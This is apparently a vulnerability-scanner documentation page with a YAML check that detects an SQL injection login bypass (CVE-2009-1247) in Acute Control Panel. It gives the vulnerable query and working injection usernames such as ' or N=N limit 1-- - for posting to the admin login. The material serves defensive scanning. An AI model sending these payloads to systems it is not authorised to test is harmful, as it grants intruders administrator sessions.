Acute Control Panel — 1 vulnerability check

noctis ships 1 vulnerability check for Acute Control Panel, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Acute Control Panel admin login SQL injection authentication bypass

CVECVE-2009-1247
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/acute-control-panel/CVE-2009-1247.yaml

Looks for Acute Control Panel (a page whose generator tag starts with "acute-cp" or that shows "Powered by Acute CP") in the web root and under /acute-cp. It then posts two logins to the acute-cp/ administration page whose user name ends in an SQL condition: an always-false one (<random>' or N=M limit 1-- -) and an always-true one (<random>' or N=N limit 1-- -), each with a random password. The finding fires when the true condition opens an administrator session ("You are now logged in" and the Logout link) while the false one does not: the user name is evaluated inside the login SQL query and the password check is bypassed. An administration page that also opens for the false condition is reported separately, with lower confidence. When the injection gives no result but the generator tag shows version 1.0 or 1.0.0 and the administration page answered the login, the CVE is reported from the version alone, with lower confidence. Both requests are ordinary login attempts; no data is read or changed.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/
  3. Parses / computes the next value with a Rhai script
  4. HTTP(S) request POST {{dir}}/acute-cp/ with a crafted body
  5. HTTP(S) request POST {{dir}}/acute-cp/ with a crafted body
  6. Parses / computes the next value with a Rhai script
  7. Checks v.st for . → finding QoD 97: Acute Control Panel admin login SQL injection authentication bypass
  8. Checks v.st for . → finding QoD 75: Acute Control Panel admin login SQL injection authentication bypass
  9. Checks v.st for . → finding QoD 50: Acute Control Panel administration opens for an invalid login
  10. Checks fp.ver for ^1\.0 → finding QoD 70: Acute Control Panel 1.0.0 admin login SQL injection (version)

References:

Feed source — tests/vulnerabilities/acute-control-panel/CVE-2009-1247.yaml
# Acute Control Panel 1.0.0 acute-cp/ admin login SQL injection authentication bypass
# (CVE-2009-1247).
#
# Ported from OpenVAS/Greenbone NVT `2009/acute_control_panel_34265.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.100089, GPL-2.0-only): for /acute-cp and the CGI dirs,
# fingerprint <dir>/ ('meta name="generator" content="acute-cp' or
# 'Powered by <a href=…>Acute CP</a>'), then POST
# username=admin%20%27%20or%20%27%201=1&password= to <dir>/acute-cp/ and report
# "You are now logged in" + "Logout</a>".
#
# Vulnerable code (EDB-8291, acute-cp/admin_settings.php in 1.0.0): the POSTed user name
# and password are concatenated into
#   SELECT id,username,password,... FROM `users` WHERE username='$username' AND password='$password'
# and exactly one row (mysql_numrows == 1) opens the admin session. The 1.1 update
# (SourceForge acutecp, ReadMe "Vulnerable code in login.php") rejects any field holding
# one of & < > % * , . ' (isValidData → "Error") and md5()s the password.
#
# Better than the NASL:
#   - The NASL payload (admin ' or ' 1=1, empty password) only logs in when an account is
#     literally named "admin" (it parses as username='admin ' OR (' 1=1' AND password=''))
#     — verified on MariaDB 10.11: renaming the account makes it miss. This feed uses
#     <random>' or N=N limit 1-- - : any first account, exactly one row.
#   - Control with a false condition (N=N+1) of the same shape must NOT log in: QoD 97
#     true/false differential. Control without a reply → QoD 75. Control also logged in →
#     separate QoD 50 hint without CVE.
#   - Generator "acute-cp 1.0[.0]" with no injection result (magic_quotes_gpc, no account)
#     → QoD 70 version finding.
#   - Also tries the web root as install directory.
# Assumption: only the fixed 1.1.1 files are public (its web_settings.php defines the
# generator "acute-cp 1.1.1"); that 1.0.0 printed "acute-cp 1.0.0" (or "1.0") is assumed
# from it. If it printed something else, the QoD 70 fallback stays silent (FN, never FP).
# Both requests are plain login attempts; nothing is read or written (a successful probe
# opens an admin session that expires on its own).
uid: d7ccf944-2bc7-4c96-954b-0d1123aace84
name: "Acute Control Panel admin login SQL injection authentication bypass"
description: >-
  Looks for Acute Control Panel (a page whose generator tag starts with "acute-cp" or
  that shows "Powered by Acute CP") in the web root and under /acute-cp. It then posts two
  logins to the acute-cp/ administration page whose user name ends in an SQL
  condition: an always-false one (<random>' or N=M limit 1-- -) and an always-true
  one (<random>' or N=N limit 1-- -), each with a random password. The finding fires
  when the true condition opens an administrator session ("You are now logged in" and
  the Logout link) while the false one does not: the user name is evaluated inside the
  login SQL query and the password check is bypassed. An administration page that also
  opens for the false condition is reported separately, with lower confidence. When
  the injection gives no result but the generator tag shows version 1.0 or 1.0.0 and the administration page answered the login, the CVE is
  reported from the version alone, with lower confidence. Both requests are ordinary
  login attempts; no data is read or changed.
category: sqli
cves: [CVE-2009-1247]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [acute-control-panel, php, sqli, auth-bypass, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-1247"
  - "https://www.exploit-db.com/exploits/8291"
  - "http://www.securityfocus.com/bid/34265"
  - "https://sourceforge.net/projects/acutecp/"

steps:
  # Shared random values: user name prefix, password and the condition operands.
  - id: gen
    action: script
    code: |
      let n = rand_int(1000, 9999);
      #{ u: rand_str(8), p: rand_str(10), n: n, f: n + 1 }
    store_as: rv

  # Loop group: every following step runs once per directory. Pre-initialise the
  # stored results so a failed request never leaves them undefined or holding the
  # previous directory's reply.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["", "/acute-cp"]

  - id: init-ctl
    action: set_var
    var_name: ctl
    var_value: {status: 0, body: ""}

  - id: init-inj
    action: set_var
    var_name: inj
    var_value: {status: 0, body: ""}

  - id: home
    action: http_request
    method: GET
    path: "{{dir}}/"
    port: "{{port}}"
    tls_insecure: true
    timeout_secs: 10
    store_as: page

  - id: gate
    action: script
    code: |
      let b = if type_of(page.body) == "string" { page.body } else { "" };
      let ok = page.status == 200
        && (ereg("meta name=\"generator\" content=\"acute-cp", b, true)
            || ereg("Powered by <a href=[^>]+>Acute CP</a>", b, true));
      let m = eregmatch("content=\"acute-cp ([0-9][0-9.]*)\"", b, true);
      let ver = if ok && type_of(m) == "array" && m.len() > 1 { m[1] } else { "unknown" };
      #{ ok: ok, ver: ver }
    store_as: fp

  # Control: false condition of the same shape — must not log in.
  - id: control
    action: http_request
    method: POST
    path: "{{dir}}/acute-cp/"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/acute-cp/"
    body: "username={{rv.u}}%27%20or%20{{rv.n}}%3D{{rv.f}}%20limit%201--%20-&password={{rv.p}}"
    store_as: ctl

  # Injection: always-true condition, exactly one row.
  - id: inject
    action: http_request
    method: POST
    path: "{{dir}}/acute-cp/"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "fp.ok"
    headers:
      Content-Type: "application/x-www-form-urlencoded"
      Referer: "{{scheme}}://{{target_host}}:{{port}}{{dir}}/acute-cp/"
    body: "username={{rv.u}}%27%20or%20{{rv.n}}%3D{{rv.n}}%20limit%201--%20-&password={{rv.p}}"
    store_as: inj

  - id: verdict
    action: script
    code: |
      fn logged(r) {
        type_of(r) == "map" && type_of(r.body) == "string"
          && ereg("You are now logged in", r.body) && ereg("Logout</a>", r.body)
      }
      let hit = fp.ok && logged(inj);
      let ctl_in = logged(ctl);
      let ctl_none = type_of(ctl) != "map" || ctl.status == 0;
      let ctl_desc = if ctl_none { "no reply" } else { "status " + ctl.status + ", not logged in" };
      let admin = type_of(inj) == "map" && inj.status >= 200 && inj.status < 400;
      let v10 = fp.ok && !hit && admin && ereg("^1\\.0(\\.0)?$", fp.ver);
      #{ sqli: hit && !ctl_none && !ctl_in, sqli_noctl: hit && ctl_none,
         any: hit && ctl_in, v10: v10, st: if hit { "" + inj.status } else { "" }, ctl: ctl_desc }
    store_as: v

  - id: sqli-confirmed
    action: match
    source: v.st
    pattern: "."
    condition: "v.sqli"
    on_match:
      finding:
        cves: [CVE-2009-1247]
        title: "Acute Control Panel admin login SQL injection authentication bypass"
        description: "The Acute Control Panel administration login (acute-cp/) concatenates the user name into its SQL query, so an unauthenticated attacker bypasses the password check and opens an administrator session."
        confidence_delta: 0.65
        qod: 97
        evidence: "Acute Control Panel (version {{fp.ver}}) at {{dir}}/: POST {{dir}}/acute-cp/ with a user name ending in ' or {{rv.n}}={{rv.n}} limit 1-- - and a random password answered status {{v.st}} with \"You are now logged in\" and the Logout link; the same login with the false condition {{rv.n}}={{rv.f}} did not ({{v.ctl}})."
        remediation: "Upgrade Acute Control Panel to 1.1 or later, which rejects quotes in the login fields, or restrict access to the acute-cp/ administration directory to trusted users."
      stop: true

  - id: sqli-unconfirmed-control
    action: match
    source: v.st
    pattern: "."
    condition: "v.sqli_noctl"
    on_match:
      finding:
        cves: [CVE-2009-1247]
        title: "Acute Control Panel admin login SQL injection authentication bypass"
        description: "The Acute Control Panel administration login (acute-cp/) concatenates the user name into its SQL query, so an unauthenticated attacker bypasses the password check and opens an administrator session."
        confidence_delta: 0.50
        qod: 75
        evidence: "Acute Control Panel (version {{fp.ver}}) at {{dir}}/: POST {{dir}}/acute-cp/ with a user name ending in ' or {{rv.n}}={{rv.n}} limit 1-- - and a random password answered status {{v.st}} with \"You are now logged in\" and the Logout link; the false-condition control login got no reply."
        remediation: "Upgrade Acute Control Panel to 1.1 or later, which rejects quotes in the login fields, or restrict access to the acute-cp/ administration directory to trusted users."
      stop: true

  - id: any-login
    action: match
    source: v.st
    pattern: "."
    condition: "v.any"
    on_match:
      finding:
        cves: []
        severity: medium
        title: "Acute Control Panel administration opens for an invalid login"
        description: "The Acute Control Panel acute-cp/ page answered \"You are now logged in\" both for an always-true and an always-false login condition. The administration area may be reachable without valid credentials; check it manually."
        confidence_delta: 0.20
        qod: 50
        evidence: "POST {{dir}}/acute-cp/ answered \"You are now logged in\" for a user name ending in ' or {{rv.n}}={{rv.n}} limit 1-- - and also for the false condition {{rv.n}}={{rv.f}}."
        remediation: "Restrict access to the Acute Control Panel acute-cp/ administration directory to trusted users and check its login."
      stop: true

  - id: version-only
    action: match
    source: fp.ver
    pattern: "^1\\.0"
    condition: "v.v10"
    on_match:
      finding:
        cves: [CVE-2009-1247]
        title: "Acute Control Panel 1.0.0 admin login SQL injection (version)"
        description: "The site identifies itself as Acute Control Panel 1.0.0, the release whose acute-cp/ administration login concatenates the user name into its SQL query. The login bypass probe did not open a session (for example because magic_quotes_gpc escapes the quotes, or no account exists yet), so this finding rests on the version only."
        confidence_delta: 0.40
        qod: 70
        evidence: "{{dir}}/ carries the generator tag \"acute-cp {{fp.ver}}\"; the true-condition login to {{dir}}/acute-cp/ did not open a session."
        remediation: "Upgrade Acute Control Panel to 1.1 or later, which rejects quotes in the login fields, or restrict access to the acute-cp/ administration directory to trusted users."
      stop: true

View these feeds on GitHub